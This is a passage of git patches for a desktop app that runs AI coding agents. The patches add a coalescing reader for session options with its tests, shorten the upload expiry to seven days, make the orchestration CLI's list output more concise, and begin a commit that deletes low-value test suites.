b/src/renderer/src/components/native-chat/use-structured-agent-session-options.ts @@ -1,3 +1,4 @@ +import { runtimeTargetForOwnerEnvironment } from '@/runtime/runtime-client-target' import type { StructuredAgentSessionOptionsArgs } from './structured-agent-session-options-contract' import { toast } from 'sonner' import { useCallback, useLayoutEffect, useMemo, useRef } from 'react' @@ -23,8 +24,9 @@ import { export type { StructuredAgentSessionOptionsArgs } from './structured-agent-session-options-contract' export function useStructuredAgentSessionOptions(args: StructuredAgentSessionOptionsArgs) { - const { agent, fence, launch, providerVisible, sessionId, target, transportEnabled, turnId } = - args + const { agent, fence, launch, providerVisible, sessionId, transportEnabled, turnId } = args + const environmentId = args.target.kind === 'environment' ? args.target.environmentId : null + const target = useMemo(() => runtimeTargetForOwnerEnvironment(environmentId), [environmentId]) const capturePresentation = args.capturePresentation const providerStarting = args.providerStarting ?? false const newLaunch = launch?.kind === 'new' diff --git a/src/renderer/src/components/native-chat/use-structured-agent-session-paired-runtime.test.tsx b/src/renderer/src/components/native-chat/use-structured-agent-session-paired-runtime.test.tsx index ce37c875f8f..ae50bc1a42a 100644 --- a/src/renderer/src/components/native-chat/use-structured-agent-session-paired-runtime.test.tsx +++ b/src/renderer/src/components/native-chat/use-structured-agent-session-paired-runtime.test.tsx @@ -217,7 +217,10 @@ describe('a structured chat on a paired server', () => { expect.any(Function) ) expect(mocks.subscribe.mock.calls.every(([target]) => target === PAIRED_TARGET)).toBe(true) - expect(mocks.call.mock.calls.every(([target]) => target === PAIRED_TARGET)).toBe(true) + // The options view memoizes an equal target by environment, so routing compares by value. + expect(mocks.call.mock.calls.map(([target]) => target)).toEqual( + mocks.call.mock.calls.map(() => PAIRED_TARGET) + ) }) it("reads the rail's conversation outline from the server", async () => { diff --git a/src/renderer/src/components/native-chat/use-structured-session-selection-reads.performance.test.tsx b/src/renderer/src/components/native-chat/use-structured-session-selection-reads.performance.test.tsx index 1bbdd46ee83..9b0112e09cb 100644 --- a/src/renderer/src/components/native-chat/use-structured-session-selection-reads.performance.test.tsx +++ b/src/renderer/src/components/native-chat/use-structured-session-selection-reads.performance.test.tsx @@ -1,5 +1,9 @@ // @vitest-environment happy-dom +import { useSyncExternalStore } from 'react' +import { createStructuredAgentSessionOptionsReadOwner } from '../../../../shared/structured-agent-session-options-read-owner' +import { createStructuredAgentSessionOptionState } from '../../../../shared/structured-agent-session-options' +import { getAgentSessionOptionCatalog } from '../../../../shared/agent-session-option-catalog' import { act, cleanup, render } from '@testing-library/react' import { afterEach, expect, it, vi } from 'vitest' import { createStructuredSessionSelectionController } from '../../../../shared/structured-agent-session-selection-operations' @@ -8,7 +12,10 @@ import { useStructuredAgentSessionOptionStamp } from './structured-agent-session import { useAppStore } from '@/store' import { replaceRuntimeEnvironmentRevisions } from '@/runtime/runtime-environment-revision' import type * as StructuredClient from '@/runtime/structured-agent-session-client' -import type { AgentSessionStatusEvent } from '../../../../shared/agent-session-wire' +import type { + AgentSessionOptionsResult, + AgentSessionStatusEvent +} from '../../../../shared/agent-session-wire' import { getStructuredAgentSessionStatusFeed, resetStructuredAgentSessionStatusFeedsForTests @@ -26,6 +33,32 @@ vi.mock('@/runtime/structured-agent-session-client', async (importOriginal) => ( supportsStructuredAgentSessionContinuationContext: vi.fn(async () => false) })) +const options: AgentSessionOptionsResult = { models: [], current: {} } +function readOwner( + controller: ReturnType, + request: () => Promise +) { + const optionCatalog = getAgentSessionOptionCatalog('codex') + const seed = () => createStructuredAgentSessionOptionState('codex', optionCatalog) + const reader = createStructuredAgentSessionOptionsReadOwner(seed()) + const close = reader.attach({ + owner: [controller], + reset: [], + sessionId: 'selected', + fence: 1, + seed, + controller, + eligible: true, + optionCatalog, + newLaunch: false, + coherentCatalog: true, + authority: () => 'local', + isCurrent: () => true, + request + }) + return { reader, close } +} + const initialState = useAppStore.getState() afterEach(() => { cleanup() @@ -52,7 +85,13 @@ it('bounds the actual pick/read/overlay path at 10 and 100 delayed writes withou options: Record }>() ) - const reread = vi.fn() + const reads: ReturnType>[] = [] + const { reader, close } = readOwner(controller, () => { + const reply = Promise.withResolvers() + reads.push(reply) + return reply.promise + }) + const reread = vi.fn(reader.invalidate) const capture = vi.spyOn(controller, 'captureRead') let renders = 0 let visits = 0 @@ -65,6 +104,7 @@ it('bounds the actual pick/read/overlay path at 10 and 100 delayed writes withou return all(entries) }) function Probe() { + useSyncExternalStore(reader.subscribe, reader.getSnapshot) useStructuredSessionSelectionReads({ controller, target, @@ -80,6 +120,9 @@ it('bounds the actual pick/read/overlay path at 10 and 100 delayed writes withou return null } const view = render() + await act(async () => { + await Promise.resolve() + }) const baseline = renders for (let index = 0; index < count; index++) { act(() => { @@ -108,7 +151,7 @@ it('bounds the actual pick/read/overlay path at 10 and 100 delayed writes withou expect(renders - baseline).toBe(count) expect(memberships).toBe(0) expect(visits).toBeLessThanOrEqual(40 * count) - expect(capture).not.toHaveBeenCalled() + expect(capture).toHaveBeenCalledTimes(1) expect(reread).not.toHaveBeenCalled() measurements.push({ count, sends, renders: renders - baseline, visits, memberships }) await act(async () => @@ -121,6 +164,17 @@ it('bounds the actual pick/read/overlay path at 10 and 100 delayed writes withou act(() => controller.retire(captured)) expect(controller.captureRead()).toEqual([2]) expect(controller.overlay()).toEqual({}) + for (let index = 0; index < count; index++) { + reader.invalidate() + } + expect(reads).toHaveLength(1) + await act(async () => reads[0].resolve(options)) + expect(reads).toHaveLength(2) + expect(reader.getSnapshot().support).toBeNull() + await act(async () => reads[1].resolve(options)) + expect(reads).toHaveLength(2) + expect(controller.captureRead()).toEqual([]) + close() const draining = controller.drain() act(() => controller.abandon()) await draining @@ -155,8 +209,13 @@ it('keeps unrelated store, same-host status and other-host consumers quiet at N createStructuredSessionSelectionController(vi.fn()) ) const renders = Array.from({ length: count }, () => 0) - const rereads = controllers.map(() => vi.fn()) + const transport = vi.fn(async (_index: number) => options) + const owners = controllers.map((controller, index) => + readOwner(controller, () => transport(index)) + ) + const rereads = owners.map(({ reader }) => vi.fn(reader.invalidate)) function Probe({ index }: { index: number }) { + useSyncExternalStore(owners[index].reader.subscribe, owners[index].reader.getSnapshot) const stamp = useStructuredAgentSessionOptionStamp(`session-${index}`, target) useStructuredSessionSelectionReads({ controller: controllers[index], @@ -174,13 +233,14 @@ it('keeps unrelated store, same-host status and other-host consumers quiet at N await act(async () => { stop = other.activate() }) + transport.mockClear() const baseline = [...renders] - const publish = (host: string, sessionId: string, model: string) => { + const publish = async (host: string, sessionId: string, model: string) => { const emit = emits.get(host) if (!emit) { throw new Error('Missing test status transport') } - act(() => + await act(async () => emit({ type: 'snapshot', sessions: [ @@ -200,15 +260,18 @@ it('keeps unrelated store, same-host status and other-host consumers quiet at N snapshot.mockClear() act(() => useAppStore.setState({ lastTerminalInputAtByPaneKey: { other: 1 } })) expect(snapshot).not.toHaveBeenCalled() - publish('other', 'session-0', 'other-model') + await publish('other', 'session-0', 'other-model') expect(snapshot).not.toHaveBeenCalled() - publish('local', 'unmounted', 'unrelated-model') + await publish('local', 'unmounted', 'unrelated-model') const upstreamReads = snapshot.mock.calls.length expect(upstreamReads).toBeGreaterThanOrEqual(count) expect(upstreamReads).toBeLessThanOrEqual(count * 3) expect(renders).toEqual(baseline) - publish('local', 'session-0', 'sonnet') - expect(renders).toEqual(baseline.map((value, index) => value + (index === 0 ? 1 : 0))) + expect(transport).not.toHaveBeenCalled() + await publish('local', 'session-0', 'sonnet') + expect(renders.slice(1)).toEqual(baseline.slice(1)) + expect(renders[0]).toBeGreaterThan(baseline[0]) + expect(transport).toHaveBeenCalledExactlyOnceWith(0) expect(rereads[0]).toHaveBeenCalledTimes(1) const beforePick = [...renders] act(() => controllers[1].issue('model', 'opus', null)) @@ -218,6 +281,7 @@ it('keeps unrelated store, same-host status and other-host consumers quiet at N JSON.stringify({ count, upstreamReads, unrelatedRenders: 0 }) ) view.unmount() + owners.forEach(({ close }) => close()) stop() snapshot.mockRestore() resetStructuredAgentSessionStatusFeedsForTests() diff --git a/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx b/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx index 6148fec18f4..e27b9e4efc7 100644 --- a/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx +++ b/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx @@ -184,7 +184,8 @@ it.each([false, true])( unloadedTurnRevisions: undefined }) ) - expect(reads).toHaveLength(1) + // The read starts one microtask after its attach, from the shared queue. + await waitFor(() => expect(reads).toHaveLength(1)) const capture = () => { const source = hook.result.current.sendSource const view = source.optionView(source.optionStateRef.current, seed) diff --git a/src/shared/structured-agent-session-options-read-owner.test.ts b/src/shared/structured-agent-session-options-read-owner.test.ts new file mode 100644 index 00000000000..73e0df6b8a6 --- /dev/null +++ b/src/shared/structured-agent-session-options-read-owner.test.ts @@ -0,0 +1,195 @@ +import { expect, it, vi } from 'vitest' +import type { AgentSessionOptionsResult } from './agent-session-wire' +import { getAgentSessionOptionCatalog } from './agent-session-option-catalog' +import { createStructuredAgentSessionOptionState } from './structured-agent-session-options' +import { createStructuredSessionSelectionController } from './structured-agent-session-selection-operations' +import { createStructuredAgentSessionOptionsReadOwner } from './structured-agent-session-options-read-owner' + +const answer: AgentSessionOptionsResult = { + models: [{ id: 'live', label: 'Live', isDefault: true, efforts: [] }], + current: { model: 'live', permissionMode: 'ask', reportedPermissionMode: 'full-access' }, + acceptsImages: true +} +const tick = async () => { + for (let n = 0; n < 12; n++) { + await Promise.resolve() + } +} +function fixture() { + const optionCatalog = getAgentSessionOptionCatalog('codex') + const seed = () => createStructuredAgentSessionOptionState('codex', optionCatalog) + const reader = createStructuredAgentSessionOptionsReadOwner(seed()) + const controller = createStructuredSessionSelectionController(vi.fn()) + const reads: ReturnType>[] = [] + let generation = 1 + const context = { + owner: [controller], + reset: [1], + sessionId: 'chat', + fence: 1, + seed, + controller, + eligible: true, + optionCatalog, + newLaunch: false, + coherentCatalog: true, + authority: () => generation, + isCurrent: () => true, + accepted: vi.fn(), + request: vi.fn(() => { + const reply = Promise.withResolvers() + reads.push(reply) + return reply.promise + }) + } + return { + reader, + controller, + reads, + context, + advance: () => { + generation++ + } + } +} + +it('coalesces stale reads and publishes base/support/latch together before retiring only captured operations', async () => { + const { reader, controller, reads, context, advance } = fixture() + const close = reader.attach(context) + const changed = vi.fn() + const unsubscribe = reader.subscribe(changed) + const initial = reader.getSnapshot() + await tick() + const pick = controller.issue('model', 'picked', null) + controller.settle(pick, { kind: 'unknown' }) + for (let n = 0; n < 100; n++) { + reader.invalidate() + } + expect(reads).toHaveLength(1) + expect(changed).not.toHaveBeenCalled() + advance() + reads[0].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reader.getSnapshot()).toBe(initial) + expect(context.accepted).not.toHaveBeenCalled() + expect(controller.overlay()).toEqual({ model: 'picked' }) + expect(reads).toHaveLength(2) + const newer = controller.issue('effort', 'high', 'picked') + controller.settle(newer, { kind: 'accepted', options: { effort: 'high' } }) + // A catalog arriving during the read must survive an unknown-inventory answer. + reader.receiveCatalog({ origin: 'probe', fetchedAt: 1, models: answer.models }, 'settled') + const catalog = reader.getSnapshot().optionState.catalog + const stop = controller.subscribe(() => { + expect(reader.getSnapshot().support?.result.acceptsImages).toBe(true) + expect(reader.getSnapshot().optionState.optionsAnswerPresent).toBe(true) + }) + reads[1].resolve({ ...answer, modelsKnown: false }) + await tick() + expect(reader.getSnapshot().optionState.catalog).toBe(catalog) + expect(context.accepted).toHaveBeenCalledTimes(1) + expect(controller.captureRead()).toEqual([newer.identity]) + expect(controller.overlay()).toEqual({ effort: 'high' }) + stop() + close() + unsubscribe() +}) + +it('retains same-owner answers and permissions while resetting reports, and seeds a different owner but keeps its session-tagged support', async () => { + const { reader, context, reads } = fixture() + let close = reader.attach(context) + await tick() + reads[0].resolve(answer) + await tick() + const accepted = reader.getSnapshot() + close() + close = reader.attach({ ...context, reset: [2], fence: 2, eligible: false }) + const retained = reader.getSnapshot() + expect(retained.optionState.record).not.toBe(accepted.optionState.record) + expect(retained.optionState.catalog).toBe(accepted.optionState.catalog) + expect(retained.optionState.permissionMode).toBe('ask') + expect(retained.optionState.reportedPermissionMode).toBeUndefined() + expect(retained.optionState.reportedEffort).toBeUndefined() + expect(retained.support).toBe(accepted.support) + reader.invalidate() + reader.invalidate() + expect(reads).toHaveLength(1) + close() + close = reader.attach({ ...context, reset: [2], fence: 2 }) + await tick() + expect(reads).toHaveLength(2) + close() + const replacement = createStructuredSessionSelectionController(vi.fn()) + close = reader.attach({ + ...context, + controller: replacement, + owner: [replacement], + eligible: false + }) + expect(reader.getSnapshot().optionState.optionsAnswerPresent).toBeUndefined() + expect(reader.getSnapshot().optionState.permissionMode).toBeNull() + expect(reader.getSnapshot().support).toBe(accepted.support) + reads[1].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reader.getSnapshot().support).toBe(accepted.support) + close() +}) + +it('releases failed or closed reads and starts a fresh lease at once while the old reply stays inert', async () => { + const { reader, context, reads } = fixture() + const close = reader.attach(context) + await tick() + reader.invalidate() + close() + const detach = reader.attach(context) + close() // An old cleanup cannot close a newer lease. + await tick() + // The fresh lease does not wait behind the closed lease's request, whose queued read never runs. + expect(reads).toHaveLength(2) + reads[0].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reads).toHaveLength(2) + expect(reader.getSnapshot().support).toBeNull() + reader.invalidate() + reads[1].reject(new Error('offline')) + await tick() + expect(reads).toHaveLength(3) + expect(context.accepted).not.toHaveBeenCalled() + reads[2].resolve(answer) + await tick() + const accepted = reader.getSnapshot() + reader.invalidate() + await tick() + reads[3].reject(new Error('offline')) + await tick() + expect(reader.getSnapshot()).toBe(accepted) + reader.invalidate() + await tick() + expect(reads).toHaveLength(5) + reader.invalidate() + detach() + reads[4].resolve({ ...answer, acceptsImages: false }) + await tick() + expect(reads).toHaveLength(5) + expect(reader.getSnapshot()).toBe(accepted) + expect(context.accepted).toHaveBeenCalledTimes(1) +}) + +it('lets two live readers retire the same captured IDs without removing a newer pick', async () => { + const { reader, context, controller, reads } = fixture() + const older = controller.issue('model', 'picked', null) + controller.settle(older, { kind: 'unknown' }) + const peer = createStructuredAgentSessionOptionsReadOwner(context.seed()) + const closes = [reader.attach(context), peer.attach(context)] + await tick() + const newer = controller.issue('effort', 'high', 'picked') + controller.settle(newer, { kind: 'unknown' }) + for (const reply of reads) { + reply.resolve(answer) + await tick() + expect(controller.overlay()).toEqual({ effort: 'high' }) + expect(controller.captureRead()).toEqual([newer.identity]) + } + expect(reader.getSnapshot().support).not.toBeNull() + expect(peer.getSnapshot().support).not.toBeNull() + closes.forEach((close) => close()) +}) diff --git a/src/shared/structured-agent-session-options-read-owner.ts b/src/shared/structured-agent-session-options-read-owner.ts new file mode 100644 index 00000000000..2be6f72c253 --- /dev/null +++ b/src/shared/structured-agent-session-options-read-owner.ts @@ -0,0 +1,195 @@ +import type { AgentSessionOptionCatalog } from './agent-session-option-catalog' +import type { + AgentSessionModelCatalogResult, + AgentSessionOptionsResult +} from './agent-session-wire' +import { createCoalescingKeyedRunner } from './coalescing-keyed-runner' +import { cloneStructuredAgentSessionOptionRecord } from './structured-agent-session-option-state' +import { + applyStructuredAgentSessionModelCatalog, + applyStructuredAgentSessionOptions, + settleStructuredAgentSessionBuiltinCatalog, + type StructuredAgentSessionOptionState +} from './structured-agent-session-options' +import type { StructuredSessionSelectionController } from './structured-agent-session-selection-operations' + +type ReadContext = { + owner: readonly unknown[] + reset: readonly unknown[] + sessionId: string | null + fence: number | null + seed: () => StructuredAgentSessionOptionState + controller: StructuredSessionSelectionController + eligible: boolean + optionCatalog: AgentSessionOptionCatalog | null + newLaunch: boolean + coherentCatalog: boolean + authority: () => unknown + isCurrent: () => boolean + request: () => Promise + accepted?: () => void +} + +type ReadSnapshot = { + optionState: StructuredAgentSessionOptionState + support: { + result: AgentSessionOptionsResult + sessionId: string | null + fence: number | null + } | null +} +const same = (left: readonly unknown[], right: readonly unknown[]) => + left.length === right.length && left.every((value, index) => Object.is(value, right[index])) + +/** One live scope owns capture, accepted publication and causal retirement on either surface. */ +export function createStructuredAgentSessionOptionsReadOwner( + seed: StructuredAgentSessionOptionState +) { + let snapshot: ReadSnapshot = { optionState: seed, support: null } + let previous: ReadContext | undefined + let lease: (ReadContext & { key: string }) | undefined + let leases = 0 + let version = 0 + let dirty = true + const listeners = new Set<() => void>() + const notify = () => listeners.forEach((listener) => listener()) + const run = createCoalescingKeyedRunner() + const updateOptionState = ( + update: (current: StructuredAgentSessionOptionState) => StructuredAgentSessionOptionState + ) => { + const optionState = update(snapshot.optionState) + if (optionState !== snapshot.optionState) { + snapshot = { ...snapshot, optionState } + notify() + } + } + const schedule = () => { + const attached = lease + if (!attached?.eligible) { + return + } + // Coalesce within a lease; a new lease reads at once and the old lease's reply stays inert. + void run(attached.key, 'latest', async () => { + if (lease !== attached || !dirty || !attached.isCurrent()) { + return + } + dirty = false + const capturedVersion = version + const record = snapshot.optionState.record + const authority = attached.authority() + const completed = attached.controller.captureRead() + const result = await attached.request() + if ( + lease !== attached || + version !== capturedVersion || + snapshot.optionState.record !== record || + !attached.isCurrent() || + !Object.is(attached.authority(), authority) + ) { + return + } + snapshot = { + optionState: attached.optionCatalog + ? applyStructuredAgentSessionOptions( + snapshot.optionState, + attached.optionCatalog, + result, + attached + ) + : snapshot.optionState, + support: { result, sessionId: attached.sessionId, fence: attached.fence } + } + attached.accepted?.() + attached.controller.retire(completed) + notify() + }).catch(() => undefined) + } + const invalidate = () => { + version++ + dirty = true + schedule() + } + return { + getSnapshot: () => snapshot, + subscribe: (listener: () => void) => { + listeners.add(listener) + return () => { + listeners.delete(listener) + } + }, + optionStateRef: { + get current() { + return snapshot.optionState + } + }, + activeOptionRecordRef: { + get current() { + return snapshot.optionState.record + } + }, + updateOptionState, + invalidate, + attach(context: ReadContext) { + const sameOwner = !previous || same(previous.owner, context.owner) + if (!previous || !sameOwner || !same(previous.reset, context.reset)) { + const current = snapshot.optionState + const kept = + sameOwner && + (current.optionsAnswerPresent || + (current.catalogSource !== 'seed' && current.catalogSource !== null)) + ? { + ...current, + record: cloneStructuredAgentSessionOptionRecord(current.record), + pendingId: null, + reportedPermissionMode: undefined, + reportedEffort: undefined + } + : context.seed() + // Support stays tagged with its session; consumers filter by session, so it bridges a re-pair. + snapshot = { + ...snapshot, + optionState: sameOwner ? { ...kept, permissionMode: current.permissionMode } : kept + } + notify() + } + previous = context + const attached = { ...context, key: String(++leases) } + lease = attached + invalidate() + return () => { + if (lease === attached) { + lease = undefined + version++ + dirty = true + } + } + }, + receiveCatalog( + catalog: AgentSessionModelCatalogResult | null, + _event: 'demand' | 'progress' | 'settled' + ) { + const context = lease + if (!context) { + return + } + updateOptionState((current) => + catalog && context.optionCatalog + ? applyStructuredAgentSessionModelCatalog( + current, + context.optionCatalog, + catalog, + context + ) + : settleStructuredAgentSessionBuiltinCatalog(current, false) + ) + if ( + !context.coherentCatalog && + catalog && + catalog.origin !== 'unknown' && + !catalog.listingInProgress + ) { + invalidate() + } + } + } +} From 20a356ec780237a5d1d75fe2664ccf3ed1d879c6 Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Fri, 30 Oct 2026 23:43:07 -0700 Subject: [PATCH 16/47] Expire unclaimed chat uploads after seven days (#36597) --- .../agent-session-attachment-sweep.test.ts | 2 +- .../agent-session-attachments/agent-session-attachment-sweep.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts index 7861a5c9439..e60a4960ad5 100644 --- a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts +++ b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.test.ts @@ -149,7 +149,7 @@ describe('sweepAgentSessionAttachments', () => { expect(await remaining()).toEqual([UNSENT]) }) - it('removes an upload nobody claimed after 30 days, and keeps a claimed one and a fresh one', async () => { + it('removes an upload nobody claimed after 7 days, and keeps a claimed one and a fresh one', async () => { claim('session-1', await seedUpload(SENT, OLD)) await seedUpload(UNSENT, OLD) await seedUpload(CARRIED, HOUR) diff --git a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts index d986bb32ce7..2afa83d565c 100644 --- a/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts +++ b/src/main/native-chat/agent-session-attachments/agent-session-attachment-sweep.ts @@ -15,7 +15,7 @@ import { AGENT_SESSION_ATTACHMENT_PART_FILE } from './agent-session-attachment-r import { removeQuietly, type AgentSessionAttachmentStore } from './agent-session-attachment-store' export const ABANDONED_PART_MAX_AGE_MS = 60 * 60 * 1000 -export const UNCLAIMED_ATTACHMENT_MAX_AGE_MS = 30 * 24 * 60 * 60 * 1000 +export const UNCLAIMED_ATTACHMENT_MAX_AGE_MS = 7 * 24 * 60 * 60 * 1000 export type AgentSessionAttachmentSweepFacts = { /** Without a writable journal, only unfinished part files may be removed. */ From 8a3832887214732667d806e48ac57f9ec724f341 Mon Sep 17 00:00:00 2001 From: Jinwoo Hong <73622457+Jinwoo-H@users.noreply.github.com> Date: Sat, 31 Oct 2026 03:18:08 -0400 Subject: [PATCH 17/47] Keep orchestration list output short (#36622) Concise task-list rows carry id, status, title and ids only; specs and results stay in --full (407 KB to 11.5 KB text on a 138-task Run). Concise gate-list rows drop resolutions and timestamps. --- .../handlers/orchestration-gate-cli.test.ts | 21 +++++++++++- .../orchestration-task-list-brief.test.ts | 34 +++++++++++++++++++ .../handlers/orchestration/gate-handlers.ts | 16 +++++++-- .../orchestration/task-agent-views.ts | 7 ++-- src/cli/specs/orchestration.ts | 4 ++- 5 files changed, 73 insertions(+), 9 deletions(-) diff --git a/src/cli/handlers/orchestration-gate-cli.test.ts b/src/cli/handlers/orchestration-gate-cli.test.ts index 83466b3278f..b7b30f1cfe2 100644 --- a/src/cli/handlers/orchestration-gate-cli.test.ts +++ b/src/cli/handlers/orchestration-gate-cli.test.ts @@ -172,7 +172,17 @@ describe('orchestration gate commands carry caller identity', () => { queueFixtures( callMock, okFixture('req_list', { - gates: [{ id: 'gate_1', task_id: 'task_1', question: 'ship?', status: 'pending' }], + gates: [ + { + id: 'gate_1', + task_id: 'task_1', + question: 'ship?', + options: '["yes","no"]', + status: 'pending', + resolution: null, + created_at: '2026-10-31 00:00:00' + } + ], count: 1 }) ) @@ -180,6 +190,15 @@ describe('orchestration gate commands carry caller identity', () => { await main(['orchestration', 'gate-list', '--run', 'run_adopted', '--json'], '/tmp/repo') expect(process.exitCode).toBe(0) + expect(JSON.parse(String(logSpy.mock.calls[0]?.[0])).result.gates).toEqual([ + { + id: 'gate_1', + taskId: 'task_1', + status: 'pending', + question: 'ship?', + options: '["yes","no"]' + } + ]) expect(getTerminalHandleMock).not.toHaveBeenCalled() expect(paramsFor('orchestration.gateList')).toEqual( expect.objectContaining({ run: 'run_adopted', from: undefined }) diff --git a/src/cli/handlers/orchestration-task-list-brief.test.ts b/src/cli/handlers/orchestration-task-list-brief.test.ts index 4aee06fab3a..7646f2befc3 100644 --- a/src/cli/handlers/orchestration-task-list-brief.test.ts +++ b/src/cli/handlers/orchestration-task-list-brief.test.ts @@ -71,3 +71,37 @@ describe('orchestration task-list brief output', () => { expect(response).toHaveProperty('result.tasks', serverTasks) }) }) + +describe('orchestration task-list concise output', () => { + it('lists each task without its spec or result', async () => { + const log = vi.spyOn(console, 'log').mockImplementation(() => {}) + vi.spyOn(client, 'call').mockImplementation(callMock) + callMock.mockReset().mockResolvedValue( + okFixture('req_tasks', { + tasks: [ + { + id: 'task_1', + spec: 'long spec '.repeat(200), + task_title: 'Audit', + status: 'completed', + result: 'long result '.repeat(200), + dispatch_id: 'ctx_1' + } + ], + count: 1 + }) + ) + await ORCHESTRATION_HANDLERS['orchestration task-list']({ + flags: new Map([['run', 'run_1']]), + client, + cwd: '/tmp/repo', + json: true + }) + expect(JSON.parse(String(log.mock.calls[0]?.[0]))).toEqual({ + ok: true, + result: { + tasks: [{ id: 'task_1', status: 'completed', title: 'Audit', dispatchId: 'ctx_1' }] + } + }) + }) +}) diff --git a/src/cli/handlers/orchestration/gate-handlers.ts b/src/cli/handlers/orchestration/gate-handlers.ts index dcf231f35e1..9d264c2b804 100644 --- a/src/cli/handlers/orchestration/gate-handlers.ts +++ b/src/cli/handlers/orchestration/gate-handlers.ts @@ -50,7 +50,7 @@ export const ORCHESTRATION_GATE_HANDLERS: Record = { ? runScopedSessionCaller(flags) : await resolveCoordinatorTerminalHandle(flags, cwd, client) const result = await client.call<{ - gates: { id: string; task_id: string; question: string; status: string }[] + gates: { id: string; task_id: string; question: string; options?: string; status: string }[] count: number runId?: string }>('orchestration.gateList', { @@ -60,7 +60,19 @@ export const ORCHESTRATION_GATE_HANDLERS: Record = { from }) if (!flags.has('full')) { - printOrchestrationResult(result, json, { fields: (value) => value }) + // Rows also carry resolutions and timestamps that no next command takes. + printOrchestrationResult(result, json, { + fields: (value) => ({ + gates: value.gates.map((gate) => ({ + id: gate.id, + taskId: gate.task_id, + status: gate.status, + question: gate.question, + options: gate.options && gate.options !== '[]' ? gate.options : undefined + })), + runId: value.runId + }) + }) return } printResult(result, json, (value) => { diff --git a/src/cli/handlers/orchestration/task-agent-views.ts b/src/cli/handlers/orchestration/task-agent-views.ts index ee72b1d8cb7..1b2d86eb75f 100644 --- a/src/cli/handlers/orchestration/task-agent-views.ts +++ b/src/cli/handlers/orchestration/task-agent-views.ts @@ -28,17 +28,14 @@ export const TASK_RECEIPT_VIEW: OrchestrationAgentView< } export const TASK_LIST_VIEW: OrchestrationAgentView> = { - // Rows also carry creator identity and timestamps that no next command takes. + // Specs and results are free text that grows with the Run; --full keeps them. fields: (r) => ({ tasks: r.tasks.map((task) => ({ id: task.id, status: task.status, - title: task.display_name ?? task.task_title ?? undefined, - spec: task.spec, - specTruncated: task.spec_truncated || undefined, + title: task.display_name ?? task.task_title ?? task.spec.slice(0, 60), deps: task.deps && task.deps !== '[]' ? task.deps : undefined, parentId: task.parent_id ?? undefined, - result: task.result ?? undefined, dispatchId: task.dispatch_id ?? undefined, assignee: task.assignee_handle ?? undefined })), diff --git a/src/cli/specs/orchestration.ts b/src/cli/specs/orchestration.ts index 92adc2421ca..0ff983d3923 100644 --- a/src/cli/specs/orchestration.ts +++ b/src/cli/specs/orchestration.ts @@ -162,7 +162,9 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ 'orca orchestration task-list [--status ] [--ready] [--brief] [--run ] [--from ] [--json]', allowedFlags: [...GLOBAL_FLAGS, 'status', 'ready', 'brief', 'run', 'from'], identityFlagRoles: { from: 'caller' }, - notes: ['--brief collapses whitespace and caps each spec at 160 characters.'] + notes: [ + 'Rows show id, status, and title; --full adds each spec and result, where --brief collapses whitespace and caps each spec at 160 characters.' + ] }, { path: ['orchestration', 'task-update'], From 5edb1b6f9af31ffe8c7bae2e9044b4d96b6a27f5 Mon Sep 17 00:00:00 2001 From: OrcaWin Date: Sat, 31 Oct 2026 00:20:27 -0700 Subject: [PATCH 18/47] test: remove 14 low-value suites and 119 individual cases (#36617) * test: remove low-value suites and cases * test: shrink flaky-pattern counts after case removals * test: remove empty suite and stale release workflow fixture --- config/flaky-test-pattern-baseline.txt | 5 +- config/scripts/ci-shard-timings.json | 13 - .../scripts/orcad-e2e-change-scope.test.mjs | 1 - .../release-cut-token-permissions.test.mjs | 3 - ...tension-content-script-persistence.test.ts | 20 -- ...ntime-browser-client-host-registry.test.ts | 16 -- .../claude-profile-setup.test.ts | 18 -- ...legacy-shared-config-compatibility.test.ts | 14 - .../service-add-account-from-home.test.ts | 34 --- ...codex-real-home-hook-key-spellings.test.ts | 6 - .../codex-real-home-hook-removal.test.ts | 12 - .../desktop-script-provider-errors.test.ts | 110 +------- .../daemon/daemon-appimage-launch.test.ts | 15 -- .../daemon-automatic-work-resume.test.ts | 33 +-- src/main/daemon/daemon-file-log.test.ts | 12 +- .../daemon-pty-adapter-wsl-quit-cwd.test.ts | 9 - src/main/daemon/daemon-terminal-limit.test.ts | 20 +- src/main/git/canonical-repo-key.test.ts | 33 --- .../command-runner/wsl-host-failure.test.ts | 7 +- .../github-issue-source-preference.test.ts | 254 ------------------ .../source-control-ai-linked-issue.test.ts | 59 ---- src/main/jira/adf-link-mapping.test.ts | 91 ------- src/main/muse/hook-service.test.ts | 15 -- .../native-chat-visuals-sweep.test.ts | 25 -- ...nscript-watch-engine-wsl-lifecycle.test.ts | 23 -- .../transcript-watch-error.test.ts | 49 ---- .../transcript-watch-resolve-poll.test.ts | 25 -- .../transcript-watch-wsl-exact-path.test.ts | 37 --- .../transcript-watch-wsl-stall.test.ts | 23 -- ...wsl-transcript-fs-route-quarantine.test.ts | 16 +- .../hook-service-startup-refresh.test.ts | 7 - .../profile-cloud-session-store.test.ts | 11 - src/main/orcad/orcad-native-preflight.test.ts | 136 ---------- ...ad-wsl-host-claude-profile-refresh.test.ts | 15 -- ...profile-state-writer-reopen-policy.test.ts | 44 +-- .../workspace-port-execution-host.test.ts | 36 --- .../rate-limits/kimi-fetcher-wsl-home.test.ts | 42 --- .../setup-completion-signal.test.ts | 78 +----- .../worker/worker-interactive-wait.test.ts | 14 - ...managed-worktree-metadata-wsl-move.test.ts | 14 - .../launch/terminal-split-retry.test.ts | 11 - .../ssh-config-loader-regression.test.ts | 41 --- ...h-connection-host-key-verification.test.ts | 7 - .../ssh-connection-manager-registry.test.ts | 67 ----- 